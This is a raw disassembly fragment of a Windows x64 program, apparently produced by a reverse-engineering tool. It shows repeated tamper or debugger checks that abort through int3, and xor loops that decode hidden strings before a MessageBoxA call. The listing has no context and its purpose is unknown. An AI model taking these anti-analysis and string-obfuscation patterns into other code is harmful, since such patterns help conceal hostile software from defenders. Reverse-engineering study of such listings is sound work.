mov ecx, 0xade9c597
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400371f3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400371f3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037213
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x1400375c9
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400372a1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400372a1
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14003736b
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003734b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003734b
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003736b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_79
mov rdi, r14
mov ebx, 0x787f7b97
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.1400376f8
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14003738c
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400efff0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400f0110]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400effe0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x1730b24a
mov dword [rbp + 0xd0c], 0x4657eabc
mov dword [rbp + 0xd10], 0xf29146ac
mov word [rbp + 0xd14], gethostname
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140037760
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140037421
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14003751f
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400374ff
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400374ff
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003751f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400375c9
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400375a9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400375a9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, 1
call fcn.14009d818
int3